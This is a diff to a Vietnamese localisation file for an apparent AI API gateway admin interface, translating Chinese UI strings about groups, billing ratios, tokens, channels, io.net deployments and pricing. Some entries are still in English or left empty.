+    "兑换额度": "Đổi",
+    "全局控制侧边栏区域和功能显示，管理员隐藏的功能用户无法启用": "Kiểm soát toàn cầu các khu vực và chức năng thanh bên, người dùng không thể bật các chức năng bị quản trị viên ẩn",
+    "全局设置": "Cài đặt toàn cầu",
+    "全选": "Chọn tất cả",
+    "全选当前列表模型": "",
+    "全部": "Tất cả",
+    "全部供应商": "Tất cả nhà cung cấp",
+    "全部分组": "Tất cả các nhóm",
+    "全部地区总可用资源": "Total Available Resources in All Regions",
+    "全部填入": "Điền tất cả",
+    "全部容器": "All Containers",
+    "全部展开": "Mở rộng tất cả",
+    "全部收起": "Thu gọn tất cả",
+    "全部标签": "Tất cả thẻ",
+    "全部模型": "Tất cả mô hình",
+    "全部满足（AND）": "Tất cả khớp (AND)",
+    "全部状态": "Tất cả trạng thái",
+    "全部硬件总可用资源": "Total Available Hardware Resources",
+    "全部端点": "Tất cả điểm cuối",
+    "全部类型": "Tất cả các loại",
+    "公告": "Thông báo",
+    "公告内容": "Nội dung thông báo",
+    "公告已更新": "Đã cập nhật thông báo",
+    "公告更新失败": "Cập nhật thông báo thất bại",
+    "公告类型": "Loại thông báo",
+    "共": "Tổng",
+    "共 {{count}} 个密钥_one": "{{count}} khóa",
+    "共 {{count}} 个密钥_other": "{{count}} khóa",
+    "共 {{count}} 个模型": "{{count}} mô hình",
+    "共 {{count}} 个模型_other": "{{count}} models",
+    "共 {{count}} 条日志_other": "{{count}} log entries",
+    "共 {{total}} 项，当前显示 {{start}}-{{end}} 项": "Tổng {{total}} mục, đang hiển thị {{start}}-{{end}} mục",
+    "关": "đóng",
+    "关于": "Giới thiệu",
+    "关于我们": "Về chúng tôi",
+    "关于系统的详细信息": "Thông tin chi tiết về hệ thống",
+    "关于项目": "Về dự án",
+    "关键字(id或者名称)": "Từ khóa (id hoặc tên)",
+    "关闭": "Đóng",
+    "关闭侧边栏": "Đóng thanh bên",
+    "关闭公告": "Đóng thông báo",
+    "关闭后，此模型将不会被“同步官方”自动覆盖或创建": "Sau khi đóng, mô hình này sẽ không tự động bị ghi đè hoặc tạo bởi \"Đồng bộ chính thức\"",
+    "关闭后将不再显示此提示（仅对当前浏览器生效）。确定要关闭吗？": "Sau khi đóng, thông báo này sẽ không còn hiển thị nữa (chỉ với trình duyệt này). Bạn có chắc muốn đóng không?",
+    "关闭弹窗，已停止批量测试": "Đã đóng hộp thoại, đã dừng kiểm tra hàng loạt",
+    "关闭提示": "Đóng thông báo",
+    "其他": "Khác",
+    "其他注册选项": "Tùy chọn đăng ký khác",
+    "其他登录选项": "Tùy chọn đăng nhập khác",
+    "其他设置": "Khác",
+    "其他详情": "Other details",
+    "内存 阈值 (%)": "Ngưỡng bộ nhớ (%)",
+    "内存使用率超过此值时拒绝请求": "Từ chối yêu cầu khi sử dụng bộ nhớ vượt quá giá trị này",
+    "内存命中": "Lượt trúng bộ nhớ",
+    "内存缓存最大条目数。0 表示使用后端默认容量：100000。": "Số mục tối đa của bộ nhớ đệm. 0 sử dụng dung lượng mặc định của backend: 100000.",
+    "内容": "Nội dung",
+    "内容较大，已启用性能优化模式": "Nội dung lớn, đã bật chế độ tối ưu hóa hiệu suất",
+    "内容较大，部分功能可能受限": "Nội dung lớn, một số tính năng có thể bị hạn chế",
+    "内置": "Tích hợp sẵn",
+    "内置 Ollama 镜像": "Built-in Ollama Image",
+    "再次输入部署名称": "Enter Deployment Name Again",
+    "最低": "thấp nhất",
+    "最低充值数量": "",
+    "最低充值美元数量": "Số tiền nạp đô la tối thiểu",
+    "最低充值美元数量必须大于 0": "Số tiền nạp đô la tối thiểu phải lớn hơn 0",
+    "留空则自动使用当前站点的默认回调地址": "Để trống để dùng địa chỉ gọi lại mặc định của trang hiện tại",
+    "最后使用时间": "Thời gian sử dụng cuối cùng",
+    "最后更新": "Last Updated",
+    "最后请求": "Yêu cầu cuối cùng",
+    "最大GPU数量": "Max Number of GPUs",
+    "最大可用": "Max Available",
+    "最大条目数": "Số mục tối đa",
+    "最终抵扣": "Khấu trừ cuối cùng",
+    "最近一次": "Lần gần nhất",
+    "最近事件": "Recent Events",
+    "最高优先级": "highest priority",
+    "写": "Ghi",
+    "准入策略": "Chính sách tiếp nhận",
+    "准入策略 JSON（可选）": "JSON chính sách tiếp nhận (tùy chọn)",
+    "准备中...": "Preparing...",
+    "准备完成初始化": "Sẵn sàng hoàn tất khởi tạo",
+    "减少": "Giảm",
+    "凭证已刷新": "Thông tin xác thực đã được làm mới",
+    "分类名称": "Tên danh mục",
+    "分组": "Nhóm",
+    "分组JSON设置": "Group JSON Settings",
+    "分组与模型定价设置": "Nhóm & định giá mô hình",
+    "分组价格": "Giá nhóm",
+    "分组倍率": "Tỷ lệ nhóm",
+    "分组倍率设置": "Cài đặt tỷ lệ nhóm",
+    "分组倍率设置，可以在此处新增分组或修改现有分组的倍率，格式为 JSON 字符串，例如：{\"vip\": 0.5, \"test\": 1}，表示 vip 分组的倍率为 0.5，test 分组的倍率为 1": "Cài đặt tỷ lệ nhóm, bạn có thể thêm nhóm mới hoặc sửa đổi tỷ lệ nhóm hiện có tại đây, định dạng dưới dạng chuỗi JSON, ví dụ: {\"vip\": 0.5, \"test\": 1}, cho biết tỷ lệ nhóm vip là 0.5, tỷ lệ nhóm test là 1",
+    "分组名": "Group",
+    "分组名称": "Group Name",
+    "分组名称到倍率的映射": "Mapping of group names to ratios",
+    "分组描述": "Group Description",
+    "分组是用于控制计费倍率和模型访问权限的核心概念。每个用户属于一个分组，每个令牌也可以指定使用某个分组。": "Groups are a core concept for controlling billing ratios and model access. Each user belongs to a group, and each token can be assigned to a specific group.",
+    "分组特殊倍率": "Tỷ lệ đặc biệt của nhóm",
+    "分组特殊可用分组": "Available special groups",
+    "分组相关设置": "Cài đặt liên quan đến nhóm",
+    "分组管理": "Group Management",
+    "分组设置": "Cài đặt nhóm",
+    "分组设置使用说明": "Group Settings Guide",
+    "分组速率配置优先级高于全局速率限制。": "Ưu tiên cấu hình tốc độ nhóm cao hơn giới hạn tốc độ toàn cầu.",
+    "分组速率限制": "Giới hạn tốc độ nhóm",
+    "分钟": "phút",
+    "切换为Assistant角色": "Chuyển sang vai trò Assistant",
+    "切换为System角色": "Chuyển sang vai trò System",
+    "切换为单密钥模式": "Chuyển sang chế độ khóa đơn",
+    "切换主题": "Chuyển chủ đề",
+    "划转到余额": "Chuyển sang số dư",
+    "划转邀请额度": "Chuyển hạn ngạch mời",
+    "划转金额最低为": "Số tiền chuyển tối thiểu là",
+    "划转额度": "Số tiền chuyển",
+    "列出的模型将不会自动添加或移除-thinking/-nothinking 后缀": "Các mô hình được liệt kê sẽ không tự động thêm hoặc xóa hậu tố -thinking/-nothinking.",
+    "列设置": "Cài đặt cột",
+    "创建": "Create",
+    "创建令牌可选": "Selectable when creating tokens",
+    "创建令牌默认选择auto分组，初始令牌也将设为auto（否则留空，为用户默认分组）": "Tạo mã thông báo với nhóm auto theo mặc định, mã thông báo ban đầu cũng sẽ được đặt thành auto (nếu không để trống cho nhóm mặc định của người dùng)",
+    "创建和管理分组": "Create and Manage Groups",
+    "创建失败": "Tạo thất bại",
+    "创建成功": "Tạo thành công",
+    "创建或选择密钥时，将 Project 设置为 io.cloud": "When creating or selecting a key, set Project to io.cloud",
+    "创建新用户账户": "Tạo tài khoản người dùng mới",
+    "创建新的令牌": "Tạo mã thông báo mới",
+    "创建新的兑换码": "Tạo mã đổi thưởng mới",
+    "创建新的模型": "Tạo mô hình mới",
+    "创建新的渠道": "Tạo kênh mới",
+    "创建新的订阅套餐": "Tạo gói đăng ký mới",
+    "创建新的预填组": "Tạo nhóm điền sẵn mới",
+    "创建时间": "Thời gian tạo",
+    "创建渠道所需的基本信息": "Thông tin cơ bản cần thiết để tạo kênh",
+    "创建用户": "Tạo người dùng",
+    "初始化失败，请重试": "Khởi tạo thất bại, vui lòng thử lại",
+    "初始化系统": "Khởi tạo hệ thống",
+    "删请求头": "",
+    "删除": "Xóa",
+    "删除 Key 来源": "Xóa nguồn Key",
+    "删除会彻底移除该订阅记录（含权益明细）。是否继续？": "Xóa sẽ loại bỏ hoàn toàn bản ghi đăng ký (bao gồm chi tiết quyền lợi). Tiếp tục?",
+    "删除后无法恢复，确定要删除模型 \"{{name}}\" 吗？": "Cannot be recovered after deletion, are you sure you want to delete model \"{{name}}\"?",
+    "删除失败": "Xóa thất bại",
+    "删除密钥失败": "Xóa khóa thất bại",
+    "删除已选 {{selected}} / {{total}}": "",
+    "删除成功": "Xóa thành công",
+    "删除所选": "Xóa đã chọn",
+    "删除所选令牌": "Xóa mã thông báo đã chọn",
+    "删除所选通道": "Xóa các kênh đã chọn",
+    "删除条件": "Xóa điều kiện",
+    "删除模型": "",
+    "删除禁用密钥失败": "Xóa khóa bị vô hiệu hóa thất bại",
+    "删除禁用通道": "Xóa kênh bị vô hiệu hóa",
+    "删除自动禁用密钥": "Xóa khóa tự động bị vô hiệu hóa",
+    "删除规则": "Xóa quy tắc",
+    "删除账户": "Xóa tài khoản",
+    "删除账户确认": "Xác nhận xóa tài khoản",
+    "删除部署失败": "Failed to delete deployment",
+    "刷新": "Làm mới",
+    "刷新凭证": "Làm mới thông tin xác thực",
+    "刷新失败": "Làm mới thất bại",
+    "刷新容器信息": "Refresh Container Info",
+    "刷新日志": "Refresh Logs",
+    "刷新统计": "Làm mới thống kê",
+    "刷新缓存统计": "Làm mới thống kê bộ nhớ đệm",
+    "刷新缓存统计失败": "Làm mới thống kê bộ nhớ đệm thất bại",
+    "刷新页面": "Tải lại trang",
+    "前：": "Trước:",
+    "前往 io.net API Keys": "Go to io.net API Keys",
+    "前往设置": "Go to Settings",
+    "前往设置页面": "Go to Settings Page",
+    "前缀": "Tiền tố",
+    "前置": "",
+    "剪贴板中未检测到连接信息": "Không tìm thấy thông tin kết nối trong bộ nhớ tạm",
+    "副本数量": "Number of Replicas",
+    "剩余": "Remaining",
+    "剩余备用码：": "Mã dự phòng còn lại: ",
+    "剩余时间": "Remaining Time",
+    "剩余额度": "Hạn ngạch còn lại",
+    "剩余额度/总额度": "Còn lại/Tổng cộng",
+    "剩余额度$": "Hạn ngạch còn lại $",
+    "功能特性": "Tính năng",
+    "加入渠道": "Join Channel",
+    "加入预填组": "Tham gia nhóm điền sẵn",
+    "加密存储": "Encrypted Storage",
+    "加载中...": "Đang tải...",
+    "加载供应商信息失败": "Tải thông tin nhà cung cấp thất bại",
+    "加载关于内容失败...": "Tải nội dung giới thiệu thất bại...",
+    "加载分组失败": "Tải nhóm thất bại",
+    "加载失败": "Tải thất bại",
+    "加载容器信息中...": "Loading container info...",
+    "加载容器详情中...": "Loading container details...",
+    "加载日志中...": "Loading logs...",
+    "加载模型信息失败": "Tải thông tin mô hình thất bại",
+    "加载模型列表失败": "Failed to load model list",
+    "加载模型失败": "Tải mô hình thất bại",
+    "加载用户协议内容失败...": "Tải nội dung thỏa thuận người dùng thất bại...",
+    "加载设置中...": "Loading settings...",
+    "加载详情中...": "Loading details...",
+    "加载账单失败": "Tải hóa đơn thất bại",
+    "加载隐私政策内容失败...": "Tải nội dung chính sách bảo mật thất bại...",
+    "勾选后，该分组会出现在用户创建令牌时的下拉菜单中。未勾选的分组只能由管理员分配，用户自己无法选择。": "When checked, this group appears in the dropdown when users create tokens. Unchecked groups can only be assigned by admin.",
+    "包含": "Chứa",
+    "包含来自未知或未标明供应商的AI模型，这些模型可能来自小型供应商或开源项目。": "Bao gồm các mô hình AI từ các nhà cung cấp không xác định hoặc không được đánh dấu, có thể đến từ các nhà cung cấp nhỏ hoặc các dự án mã nguồn mở.",
+    "包括失败请求的次数，0代表不限制": "Bao gồm số lần yêu cầu thất bại, 0 nghĩa là không giới hạn",
+    "匹配值": "Giá trị khớp",
+    "匹配值（可选）": "Giá trị khớp (tùy chọn)",
+    "匹配方式": "Phương thức khớp",
+    "匹配类型": "Loại khớp",
+    "区域": "Khu vực",
+    "升级分组": "Nhóm nâng cấp",
+    "单GPU小时费率": "Per GPU Hour Rate",
+    "单价 (USD)": "",
+    "历史消耗": "Tiêu thụ",
+    "原价": "Giá gốc",
+    "原价，和普通用户一样": "original price, same as regular users",
+    "原因：": "Lý do: ",
+    "原密码": "Mật khẩu cũ",
+    "原生格式": "Định dạng gốc",
+    "原生额度": "Hạn mức gốc",
+    "去前缀": "",
+    "去后缀": "",
+    "去处理{{type}}": "",
+    "去空格": "",
+    "去重完成：去重前 {{before}} 个密钥，去重后 {{after}} 个密钥": "Hoàn tất loại bỏ trùng lặp: {{before}} khóa trước khi loại bỏ, {{after}} khóa sau khi loại bỏ",
+    "参与官方同步": "Tham gia đồng bộ chính thức",
+    "参数": "tham số",
+    "参数值": "Giá trị tham số",
+    "参数覆盖": "Ghi đè tham số",
+    "参数覆盖 JSON 已复制": "JSON ghi đè tham số đã được sao chép",
+    "参数覆盖已复制": "",
+    "参数覆盖必须是合法的 JSON 对象": "Ghi đè tham số phải là đối tượng JSON hợp lệ",
+    "参数覆盖必须是合法的 JSON 格式！": "Ghi đè tham số phải ở định dạng JSON hợp lệ!",
+    "参数覆盖模板": "Mẫu ghi đè tham số",
+    "参数覆盖模板 JSON 格式不正确": "Định dạng JSON mẫu ghi đè tham số không chính xác",
+    "参数覆盖模板预览": "Xem trước mẫu ghi đè tham số",
+    "参数覆盖详情": "",
+    "参数配置": "Cấu hình tham số",
+    "参数配置有误": "Cấu hình tham số không hợp lệ",
+    "参数错误": "Lỗi tham số",
+    "参照生视频": "Tạo video tham chiếu",
+    "友情链接": "Liên kết thân thiện",
+    "发布日期": "Ngày xuất bản",
+    "发布时间": "Thời gian xuất bản",
+    "发现文档地址（Discovery URL，可选）": "Discovery URL (tùy chọn)",
+    "发行者 URL（Issuer URL）": "URL phát hành (Issuer URL)",
+    "取消": "Hủy",
+    "取消全选": "Bỏ chọn tất cả",
+    "取消选择": "Deselect",
+    "变换": "Biến đổi",
+    "变更": "Thay đổi",
+    "变焦": "thu phóng",
+    "变量值": "Variable Value",
+    "变量名": "Variable Name",
+    "只包括请求成功的次数": "Chỉ bao gồm số lần yêu cầu thành công",
+    "只支持HTTPS，系统将以POST方式发送通知，请确保地址可以接收POST请求": "Chỉ hỗ trợ HTTPS, hệ thống sẽ gửi thông báo qua POST, vui lòng đảm bảo địa chỉ có thể nhận yêu cầu POST",
+    "只有当用户设置开启IP记录时，才会进行请求和错误类型日志的IP记录": "Chỉ khi người dùng đặt ghi IP, việc ghi IP của nhật ký yêu cầu và loại lỗi mới được thực hiện",
+    "只有配置了规则的组合才会覆盖，未配置的组合仍使用令牌分组的基础倍率。": "Only configured combinations are overridden. Unconfigured combinations still use the token group's base ratio.",
+    "可以根据用户分组增减令牌可选的分组范围。例如 vip 用户额外开放 premium 分组，或移除某个分组的选择权。": "Adjust the selectable group range based on user group. E.g., grant vip users access to premium, or remove access to a group.",
+    "可以根据用户分组设置不同的计费倍率。例如 vip 用户使用 standard 令牌时倍率从 1.0 降为 0.8。": "Set different billing ratios based on user group. E.g., vip users using standard tokens get ratio 0.8 instead of 1.0.",
+    "可信": "Đáng tin cậy",
+    "可勾选需要执行的变更：新增会加入渠道模型列表，删除会从渠道模型列表移除。": "",
+    "可在设置页面设置关于内容，支持 HTML & Markdown": "Nội dung Giới thiệu có thể được đặt trên trang cài đặt, hỗ trợ HTML & Markdown",
+    "可手动填写，多个 scope 用空格分隔": "Có thể điền thủ công, nhiều scope phân cách bằng dấu cách",
+    "可用": "Khả dụng",
+    "可用令牌分组": "Nhóm mã thông báo khả dụng",
+    "可用分组": "Nhóm khả dụng",
+    "可用变量：{{provider}} {{field}} {{op}} {{required}} {{current}} 以及 {{current.path}}": "Biến khả dụng: {{provider}} {{field}} {{op}} {{required}} {{current}} và {{current.path}}",
+    "可用数量": "Available Quantity",
+    "可用模型": "Mô hình khả dụng",
+    "可用空间: {{free}} / 总空间: {{total}}": "Dung lượng trống: {{free}} / Tổng: {{total}}",
+    "可用端点类型": "Loại điểm cuối được hỗ trợ",
+    "可用邀请额度": "Hạn ngạch mời khả dụng",
+    "可留空；留空时会尝试使用 Issuer URL + /.well-known/openid-configuration": "Có thể để trống; khi trống sẽ thử sử dụng Issuer URL + /.well-known/openid-configuration",
+    "可视化": "Trực quan hóa",
+    "可视化倍率设置": "Cài đặt tỷ lệ mô hình trực quan",
+    "可视化编辑": "Chỉnh sửa trực quan",
+    "可空": "",
+    "可选，公告的补充说明": "Tùy chọn, thông tin bổ sung cho thông báo",
+    "可选，用于复现结果": "Tùy chọn, để tái tạo kết quả",
+    "可选：基于用户信息 JSON 做组合条件准入，条件不满足时返回自定义提示": "Tùy chọn: Tiếp nhận dựa trên điều kiện kết hợp từ JSON thông tin người dùng; trả về thông báo tùy chỉnh khi điều kiện không được đáp ứng",
+    "可选：用于自动生成端点或 Discovery URL": "Tùy chọn: Dùng để tự động tạo endpoint hoặc Discovery URL",
+    "可选。匹配入口请求的 User-Agent；任意一行作为子串匹配（忽略大小写）即命中。": "Tùy chọn. Khớp User-Agent của yêu cầu đầu vào; bất kỳ dòng nào khớp dưới dạng chuỗi con (không phân biệt hoa thường) được tính là trúng.",
+    "可选。对提取到的亲和 Key 做正则校验；不填表示不校验。": "Tùy chọn. Xác thực key ưu ái đã trích xuất bằng regex; để trống để bỏ qua xác thực.",
+    "可选。对请求路径进行匹配；不填表示匹配所有路径。": "Tùy chọn. Khớp đường dẫn yêu cầu; để trống để khớp tất cả đường dẫn.",
+    "可选值": "Giá trị tùy chọn",
+    "合计：{{total}}": "Tổng cộng: {{total}}",
+    "合计：文字部分 {{textTotal}} + 音频部分 {{audioTotal}} = {{total}}": "Tổng cộng: phần văn bản {{textTotal}} + phần âm thanh {{audioTotal}} = {{total}}",
+    "同时重置消息": "Đặt lại tin nhắn đồng thời",
+    "同步": "Đồng bộ",
+    "同步到渠道": "Sync to Channel",
+    "同步向导": "Trình hướng dẫn đồng bộ",
+    "同步失败": "Đồng bộ hóa thất bại",
+    "同步字段": "",
+    "同步成功": "Đồng bộ hóa thành công",
+    "同步接口": "Giao diện đồng bộ hóa",
+    "同步渠道失败": "Failed to sync channel",
+    "同步渠道失败：缺少部署信息": "Failed to sync channel: Missing deployment info",
+    "同步端点": "Đồng bộ endpoint",
+    "名称": "Tên",
+    "名称+密钥": "Tên + Khóa",
+    "名称不能为空": "Tên không được để trống",
+    "名称匹配类型": "Loại khớp tên",
+    "后：": "Sau:",
+    "后端固定": "",
+    "后端固定倍率：{{ratio}}。该字段仅展示换算后的价格。": "Tỷ lệ cố định từ backend: {{ratio}}. Trường này chỉ hiển thị giá sau khi quy đổi.",
+    "后端请求失败": "Yêu cầu phụ trợ thất bại",
+    "后缀": "Hậu tố",
+    "向右展开": "Mở rộng sang phải",
+    "向左展开": "Mở rộng sang trái",
+    "否": "Không",
+    "启动": "Start",
+    "启动参数 (Args)": "Startup Args",
+    "启动命令": "Startup Command",
+    "启动命令 (Entrypoint)": "Entrypoint",
+    "启动授权失败": "Khởi động xác thực thất bại",
+    "启动时间": "Thời gian khởi động",
+    "启动部署失败": "Failed to start deployment",
+    "启动配置": "Startup Configuration",
+    "启用": "Bật",
+    "启用 io.net 部署": "Enable io.net Deployment",
+    "启用 io.net 部署开关": "Enable io.net Deployment Switch",
+    "启用 io.net 部署时必须填写 API Key": "API Key is required when enabling io.net deployment",
+    "启用 Prompt 检查": "Bật kiểm tra Prompt",
+    "启用 Waffo": "",
+    "启用2FA失败": "Bật xác thực hai yếu tố thất bại",
+    "启用Claude思考适配（-thinking后缀）": "Bật thích ứng tư duy Claude (hậu tố -thinking)",
+    "启用FunctionCall思维签名填充": "Bật điền chữ ký tư duy FunctionCall",
+    "启用Gemini思考后缀适配": "Bật thích ứng hậu tố tư duy Gemini",
+    "启用Ping间隔": "Bật khoảng thời gian Ping",
+    "启用SMTP SSL": "Bật SMTP SSL",
+    "启用SSRF防护（推荐开启以保护服务器安全）": "Bật bảo vệ SSRF (Khuyên dùng để bảo mật máy chủ)",
+    "启用供应商": "Bật nhà cung cấp",
+    "启用全部": "Bật tất cả",
+    "启用后可接入 io.net GPU 资源": "After enabling, you can access io.net GPU resources",
+    "启用后可添加图片URL进行多模态对话": "Bật để thêm URL hình ảnh cho cuộc trò chuyện đa phương thức",
+    "启用后套餐将在用户端展示。是否继续？": "Sau khi bật, gói sẽ hiển thị cho người dùng. Tiếp tục?",
+    "启用后将优先复用上一次成功的渠道（粘滞选路）。": "Khi bật, kênh thành công lần cuối sẽ được ưu tiên tái sử dụng (định tuyến dính).",
+    "启用后将使用 Creem Test Mode": "Sau khi bật, Chế độ kiểm tra Creem sẽ được sử dụng",
+    "启用后将使用 Waffo 沙盒环境": "",
+    "启用密钥失败": "Bật khóa thất bại",
+    "启用屏蔽词过滤功能": "Bật chức năng lọc từ bị chặn",
+    "启用性能监控": "Bật giám sát hiệu suất",
+    "启用性能监控后，当系统资源使用率超过设定阈值时，将拒绝新的 Relay 请求 (/v1, /v1beta 等)，以保护系统稳定性。": "Khi giám sát hiệu suất được bật và mức sử dụng tài nguyên hệ thống vượt quá ngưỡng đã đặt, các yêu cầu Relay mới (/v1, /v1beta, v.v.) sẽ bị từ chối để bảo vệ sự ổn định của hệ thống.",
+    "启用所有密钥失败": "Bật tất cả khóa thất bại",
+    "启用数据看板（实验性）": "Bật bảng dữ liệu (thử nghiệm)",
+    "启用此模式后，将使用您自定义的请求体发送API请求，模型配置面板的参数设置将被忽略。": "Khi được bật, nội dung yêu cầu tùy chỉnh của bạn sẽ được sử dụng cho các yêu cầu API và cài đặt tham số trong bảng cấu hình mô hình sẽ bị bỏ qua.",
+    "启用状态": "Trạng thái bật",
+    "启用用户模型请求速率限制（可能会影响高并发性能）": "Bật giới hạn tốc độ yêu cầu mô hình người dùng (có thể ảnh hưởng đến hiệu suất đồng thời cao)",
+    "启用磁盘缓存": "Bật bộ nhớ đệm đĩa",
+    "启用磁盘缓存后，大请求体将临时存储到磁盘而非内存，可显著降低内存占用，适用于处理包含大量图片/文件的请求。建议在 SSD 环境下使用。": "Khi bật bộ nhớ đệm đĩa, body yêu cầu lớn sẽ được lưu tạm trên đĩa thay vì bộ nhớ, giảm đáng kể mức sử dụng bộ nhớ. Phù hợp xử lý yêu cầu chứa nhiều hình ảnh/tệp. Khuyến nghị sử dụng trên SSD.",
+    "启用签到功能": "Bật tính năng đăng nhập",
+    "启用绘图功能": "Bật chức năng vẽ",
+    "启用请求体透传功能": "Bật chức năng truyền qua thân yêu cầu",
+    "启用请求透传": "Bật truyền qua yêu cầu",
+    "启用违规扣费": "Bật trừ phí vi phạm",
+    "启用额度消费日志记录": "Bật ghi nhật ký tiêu thụ hạn ngạch",
+    "启用验证": "Bật xác thực",
+    "周": "tuần",
+    "命中判定：usage 中存在 cached tokens（例如 cached_tokens/prompt_cache_hit_tokens）即视为命中。": "Xác định trúng: Sự tồn tại của cached tokens trong usage (VD: cached_tokens/prompt_cache_hit_tokens) được coi là trúng.",
+    "命中率": "Tỷ lệ trúng",
+    "命中该亲和规则后，会把此模板合并到渠道参数覆盖中（同名键由模板覆盖）。": "Khi quy tắc ưu ái này trúng, mẫu sẽ được hợp nhất vào ghi đè tham số kênh (key cùng tên bị mẫu ghi đè).",
+    "和": "và",
+    "和Claude不同，默认情况下Gemini的思考模型会自动决定要不要思考，就算不开启适配模型也可以正常使用，如果您需要计费，推荐设置无后缀模型价格按思考价格设置。支持使用 gemini-2.5-pro-preview-06-05-thinking-128 格式来精确传递思考预算。": "Không giống Claude, mô hình tư duy Gemini tự động quyết định có suy nghĩ hay không. Chúng hoạt động bình thường ngay cả khi không bật adapter. Nếu cần tính phí, hãy đặt giá của mô hình không có hậu tố theo giá tư duy. Sử dụng định dạng như gemini-2.5-pro-preview-06-05-thinking-128 để chỉ định ngân sách tư duy chính xác.",
+    "响应": "Phản hồi",
+    "响应时间": "Thời gian phản hồi",
+    "响应缺少凭据": "Phản hồi thiếu thông tin xác thực",
+    "响应缺少授权链接": "Phản hồi thiếu liên kết xác thực",
+    "商品价格 ID": "ID giá sản phẩm",
+    "商户 ID": "ID người bán",
+    "回答内容": "Nội dung trả lời",
+    "回调 URL 填": "Điền URL gọi lại",
+    "回调 URL 格式": "Định dạng URL callback",
+    "回调地址": "Địa chỉ gọi lại",
+    "回调支付方式": "Phương thức thanh toán callback",
+    "回调调用者IP": "IP người gọi callback",
+    "回调通知地址": "",
+    "固定价格": "Giá cố định",
+    "固定价格(每次)": "Giá cố định (mỗi lần)",
+    "固定价格值": "Giá trị giá cố định",
+    "图像生成": "Tạo hình ảnh",
+    "图标": "Biểu tượng",
+    "图标使用 react-icons（Simple Icons）或 URL/emoji，例如：github、gitlab、si:google": "Icon sử dụng react-icons (Simple Icons) hoặc URL/emoji, VD: github, gitlab, si:google",
+    "图标使用@lobehub/icons库，如：OpenAI、Claude.Color，支持链式参数：OpenAI.Avatar.type={'platform'}、OpenRouter.Avatar.shape={'square'}，查询所有可用图标请 ": "Biểu tượng sử dụng thư viện @lobehub/icons, như: OpenAI, Claude.Color, hỗ trợ tham số chuỗi: OpenAI.Avatar.type={'platform'}, OpenRouter.Avatar.shape={'square'}, truy vấn tất cả biểu tượng khả dụng vui lòng ",
+    "图标文件不能超过 100KB，请压缩后重新上传": "",
+    "图混合": "Pha trộn",
+    "图片倍率 {{imageRatio}}": "Hệ số hình ảnh {{imageRatio}}",
+    "图片功能在自定义请求体模式下不可用": "Chức năng hình ảnh không khả dụng trong chế độ yêu cầu tùy chỉnh",
+    "图片地址": "URL hình ảnh",
+    "图片已添加": "Hình ảnh đã được thêm",
+    "图片生成：1 次 * 单价 {{price}} * {{ratioType}} {{ratio}} = {{amount}}": "Tạo ảnh: 1 lần gọi * đơn giá {{price}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "图片生成调用：{{symbol}}{{price}} / 1次": "Gọi tạo hình ảnh: {{symbol}}{{price}} / 1 lần",
+    "图片输入 {{price}} / 1M tokens": "Đầu vào hình ảnh {{price}} / 1M tokens",
+    "图片输入: {{imageRatio}}": "Đầu vào hình ảnh: {{imageRatio}}",
+    "图片输入：{{tokens}} / 1M * 模型倍率 {{modelRatio}} * 图片倍率 {{imageRatio}} * {{ratioType}} {{ratio}} = {{amount}}": "Đầu vào hình ảnh: {{tokens}} / 1M * hệ số mô hình {{modelRatio}} * hệ số hình ảnh {{imageRatio}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "图片输入价格": "Giá đầu vào hình ảnh",
+    "图片输入价格 {{symbol}}{{price}} / 1M tokens": "Giá đầu vào hình ảnh {{symbol}}{{price}} / 1M tokens",
+    "图片输入价格：{{symbol}}{{price}} * {{ratio}} = {{symbol}}{{total}} / 1M tokens (图片倍率: {{imageRatio}})": "Giá đầu vào hình ảnh: {{symbol}}{{price}} * {{ratio}} = {{symbol}}{{total}} / 1M tokens (Tỷ lệ hình ảnh: {{imageRatio}})",
+    "图片输入价格：{{symbol}}{{price}} / 1M tokens": "Giá đầu vào hình ảnh: {{symbol}}{{price}} / 1M tokens",
+    "图片输入价格：{{symbol}}{{total}} / 1M tokens": "Giá đầu vào hình ảnh: {{symbol}}{{total}} / 1M tokens",
+    "图片输入倍率": "",
+    "图片输入倍率（仅部分模型支持该计费）": "Tỷ lệ đầu vào hình ảnh (chỉ được hỗ trợ bởi một số mô hình để tính phí)",
+    "图片输入相关的倍率设置，键为模型名称，值为倍率，仅部分模型支持该计费": "Cài đặt tỷ lệ liên quan đến đầu vào hình ảnh, khóa là tên mô hình, giá trị là tỷ lệ, chỉ được hỗ trợ bởi một số mô hình để tính phí",
+    "图生文": "Mô tả",
+    "图生视频": "Hình ảnh sang Video",
+    "在Gotify服务器创建应用后获得的令牌，用于发送通知": "Mã thông báo nhận được sau khi tạo ứng dụng trên máy chủ Gotify, được sử dụng để gửi thông báo",
+    "在Gotify服务器的应用管理中创建新应用": "Tạo ứng dụng mới trong quản lý ứng dụng của máy chủ Gotify",
+    "在找兑换码？": "Đang tìm mã đổi thưởng? ",
+    "在新标签页中打开": "Open in new tab",
+    "在模型广场向用户展示的端点": "Endpoint hiển thị cho người dùng trong Chợ mô hình",
+    "在此输入 Logo 图片地址": "Nhập URL hình ảnh Logo tại đây",
+    "在此输入新的公告内容，支持 Markdown & HTML 代码": "Nhập nội dung thông báo mới tại đây, hỗ trợ mã Markdown & HTML",
+    "在此输入新的关于内容，支持 Markdown & HTML 代码。如果输入的是一个链接，则会使用该链接作为 iframe 的 src 属性，这允许你设置任意网页作为关于页面": "Nhập nội dung giới thiệu mới tại đây, hỗ trợ Markdown",
+    "在此输入新的页脚，留空则使用默认页脚，支持 HTML 代码": "Nhập chân trang mới tại đây, để trống để sử dụng chân trang mặc định, hỗ trợ mã HTML.",
+    "在此输入用户协议内容，支持 Markdown & HTML 代码": "Nhập nội dung thỏa thuận người dùng tại đây, hỗ trợ mã Markdown & HTML",
+    "在此输入系统名称": "Nhập tên hệ thống tại đây",
+    "在此输入隐私政策内容，支持 Markdown & HTML 代码": "Nhập nội dung chính sách bảo mật tại đây, hỗ trợ mã Markdown & HTML",
+    "在此输入首页内容，支持 Markdown & HTML 代码，设置后首页的状态信息将不再显示。如果输入的是一个链接，则会使用该链接作为 iframe 的 src 属性，这允许你设置任意网页作为首页": "Nhập nội dung trang chủ tại đây, hỗ trợ Markdown",
+    "在默认列表基础上新增一个分组": "Add a new group to the default list",
+    "场景：站点提供两个价格档位，用户可以按需选择": "Scenario: site offers two pricing tiers, users can choose as needed",
+    "场景：站点有 standard 和 premium 两个用户可选分组。希望 vip 用户额外看到 exclusive 分组，同时不再看到 standard 分组": "Scenario: site has standard and premium as selectable groups. Want vip users to see exclusive but not standard",
